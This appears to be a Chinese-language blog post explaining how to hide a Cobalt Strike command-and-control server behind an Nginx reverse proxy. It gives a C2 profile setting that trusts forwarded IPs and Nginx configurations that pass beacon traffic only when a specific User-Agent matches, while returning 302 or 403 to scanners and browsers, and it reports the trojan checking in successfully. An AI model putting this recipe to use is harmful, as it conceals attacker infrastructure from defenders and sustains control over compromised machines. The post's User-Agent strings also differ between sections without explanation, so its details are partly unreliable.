
最近在折腾CobaltStrike 考虑的太多为了C2的隐蔽性 不被扫。索性做个反向代理,做一下流量过滤。
网上大概找了找 来来去去 就一篇文章。 索性自己折腾实践一下。
此处使用的 payload 为http (https没成功 正在研究中。。。 大佬有知道的指点一下 万分感谢)
安装方式根据各自需求及系统环境。
具体安装过程不详谈
apt install nginx #debain 系列
yum install nginx # redaht 系列
#或者源码安装
修改C2 profile
此处以 jquery-c2.4.2.profile 为列
http 全局配置中 开启转发 否则获取不到 出网 IP
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
# Use this option if your teamserver is behind a redirector
set trust_x_forwarded_for "true"; ##如果您的团队服务器位于重定向器后面,请使用此选项
} Nginx 流量过滤 可以结合http_user_agent 特征过滤
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; 也可以结合URL特定字符过滤
http port c2 为 nginx监听端口。
http port bind 为cobalt strike 监听端口

.......
server{
listen 8080;
server_name localhost;
location / {
if ($http_user_agent != "Mozilla/6.3 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") { #请求头匹配才进行转发
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass http://localhost:12345; #把8080端口的流量转到CS 监听的 HTTP port(bind) 端口上 开启转发
}
}
......
systemctl restart nginx 执行beacon后可以上线
也有回显
但是 external ip地址不对

解决办法
解决办法
server {
listen 8080;
server_name 192.168.110.201;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #p配置nginx 转发源ip
location / {
proxy_pass http://localhost:12345;
}
} 开启nginx源IP转发后,重启nginx。
执行beacon后上线正常。
....
server {
listen 8080;
server_name 192.168.110.201;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~*/ {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0") { #根据自己的配置文件做相应修改
return 403;
}
proxy_pass http://localhost:12345;
}
}
....
systemctl restart nginx.service
重启nginx
执行木马后成功上线。
指令有回显,其他功能均正常。


游览器直接访问cs监听地址。
提示 Forbidden。
测试完成。